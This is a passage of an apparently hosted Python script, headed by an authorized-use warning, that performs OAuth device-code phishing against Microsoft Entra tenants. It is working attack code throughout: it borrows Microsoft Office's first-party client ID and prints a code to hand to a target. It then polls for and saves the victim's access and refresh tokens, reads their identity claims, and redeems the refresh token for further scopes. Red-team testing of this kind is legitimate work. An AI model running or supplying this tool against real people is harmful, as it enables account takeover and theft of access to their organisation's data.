AUTHORIZED USE ONLY. Run exclusively against tenants you own or have explicit
|
||||
written authorization (rules of engagement) to test. Device-code phishing
|
||||
manipulates real identities; unauthorized use violates the CFAA and equivalent law.
|
||||
|
||||
References:
|
||||
- RFC 8628 https://datatracker.ietf.org/doc/html/rfc8628
|
||||
- Microsoft device code https://learn.microsoft.com/entra/identity-platform/v2-oauth2-device-code
|
||||
"""
|
||||
import argparse
|
||||
import base64
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
|
||||
# Microsoft Office first-party client (pre-authorized for broad first-party resources)
|
||||
DEFAULT_CLIENT = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
AUTHORITY = "https://login.microsoftonline.com"
|
||||
|
||||
|
||||
def _post(url: str, fields: dict) -> dict:
|
||||
"""POST application/x-www-form-urlencoded and return parsed JSON (even on HTTP errors)."""
|
||||
data = urllib.parse.urlencode(fields).encode()
|
||||
req = urllib.request.Request(
|
||||
url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=30) as resp:
|
||||
return json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError as e:
|
||||
body = e.read().decode(errors="replace")
|
||||
try:
|
||||
return json.loads(body)
|
||||
except json.JSONDecodeError:
|
||||
return {"error": "http_error", "error_description": f"{e.code}: {body}"}
|
||||
except urllib.error.URLError as e:
|
||||
return {"error": "network_error", "error_description": str(e.reason)}
|
||||
|
||||
|
||||
def request_device_code(tenant: str, client_id: str, scope: str) -> dict:
|
||||
url = f"{AUTHORITY}/{tenant}/oauth2/v2.0/devicecode"
|
||||
resp = _post(url, {"client_id": client_id, "scope": scope})
|
||||
if "device_code" not in resp:
|
||||
print(f"[!] devicecode request failed: {resp.get('error')}: "
|
||||
f"{resp.get('error_description')}", file=sys.stderr)
|
||||
sys.exit(2)
|
||||
return resp
|
||||
|
||||
|
||||
def poll_for_tokens(tenant: str, client_id: str, device_code: str,
|
||||
interval: int, expires_in: int) -> dict:
|
||||
url = f"{AUTHORITY}/{tenant}/oauth2/v2.0/token"
|
||||
fields = {
|
||||
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
|
||||
"client_id": client_id,
|
||||
"device_code": device_code,
|
||||
}
|
||||
deadline = time.time() + expires_in
|
||||
while time.time() < deadline:
|
||||
resp = _post(url, fields)
|
||||
if "access_token" in resp:
|
||||
return resp
|
||||
err = resp.get("error")
|
||||
if err == "authorization_pending":
|
||||
time.sleep(interval)
|
||||
continue
|
||||
if err == "slow_down":
|
||||
interval += 5
|
||||
time.sleep(interval)
|
||||
continue
|
||||
# authorization_declined, expired_token, bad_verification_code, etc.
|
||||
print(f"[!] polling stopped: {err}: {resp.get('error_description')}",
|
||||
file=sys.stderr)
|
||||
return resp
|
||||
return {"error": "timeout", "error_description": "device code window expired"}
|
||||
|
||||
|
||||
def decode_jwt_payload(token: str) -> dict:
|
||||
try:
|
||||
payload = token.split(".")[1]
|
||||
payload += "=" * (-len(payload) % 4)
|
||||
return json.loads(base64.urlsafe_b64decode(payload))
|
||||
except (IndexError, ValueError):
|
||||
return {}
|
||||
|
||||
|
||||
def refresh_to_resource(tenant: str, client_id: str, refresh_token: str,
|
||||
scope: str) -> dict:
|
||||
url = f"{AUTHORITY}/{tenant}/oauth2/v2.0/token"
|
||||
return _post(url, {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"refresh_token": refresh_token,
|
||||
"scope": scope,
|
||||
})
|
||||
|
||||
|
||||
def main() -> int:
|
||||
p = argparse.ArgumentParser(description="Authorized device-code phishing helper (RFC 8628).")
|
||||
p.add_argument("--tenant", default="organizations",
|
||||
help="Tenant id or 'organizations'/'common' (default: organizations)")
|
||||
p.add_argument("--client-id", default=DEFAULT_CLIENT,
|
||||
help="First-party/registered client id")
|
||||
p.add_argument("--scope", default="https://graph.microsoft.com/.default offline_access",
|
||||
help="Requested scope (include offline_access for a refresh token)")
|
||||
p.add_argument("--out", default="tokens.json", help="File to write captured tokens")
|
||||
p.add_argument("--refresh-to", metavar="SCOPE",
|
||||
help="After capture, redeem the refresh token for this scope")
|
||||
args = p.parse_args()
|
||||
|
||||
dc = request_device_code(args.tenant, args.client_id, args.scope)
|
||||
print("=" * 70)
|
||||
print("[*] DELIVER THIS TO THE AUTHORIZED TEST USER (plain text, no links):")
|
||||
print(f" URL : {dc.get('verification_uri')}")
|
||||
print(f" CODE: {dc.get('user_code')}")
|
||||
print(f" (valid for {dc.get('expires_in')}s)")
|
||||
print("=" * 70)
|
||||
print("[*] Polling token endpoint...")
|
||||
|
||||
tokens = poll_for_tokens(args.tenant, args.client_id, dc["device_code"],
|
||||
int(dc.get("interval", 5)), int(dc.get("expires_in", 900)))
|
||||
if "access_token" not in tokens:
|
||||
return 1
|
||||
|
||||
with open(args.out, "w") as fh:
|
||||
json.dump(tokens, fh, indent=2)
|
||||
print(f"[+] Tokens captured -> {args.out}")
|
||||
claims = decode_jwt_payload(tokens["access_token"])
|
||||
print(f"[+] Identity : {claims.get('upn') or claims.get('unique_name') or claims.get('oid')}")
|
||||
print(f"[+] Audience : {claims.get('aud')}")
|
||||
print(f"[+] Scopes : {tokens.get('scope')}")
|
||||
|
||||
if args.refresh_to and tokens.get("refresh_token"):
|
||||
print(f"[*] Redeeming refresh token for scope: {args.refresh_to}")
|
||||
rt = refresh_to_resource(args.tenant, args.client_id,
|
||||
tokens["refresh_token"], args.refresh_to)
|
||||
if "access_token" in rt:
|
||||
new_claims = decode_jwt_payload(rt["access_token"])
|
||||
print(f"[+] New token audience: {new_claims.get('aud')}")
|
||||
with open("tokens_refreshed.json", "w") as fh:
|
||||
json.dump(rt, fh, indent=2)
|
||||
print("[+] Refreshed token -> tokens_refreshed.json")
|
||||
else:
|
||||
print(f"[!] refresh failed: {rt.get('error')}: {rt.get('error_description')}",
|
||||
file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user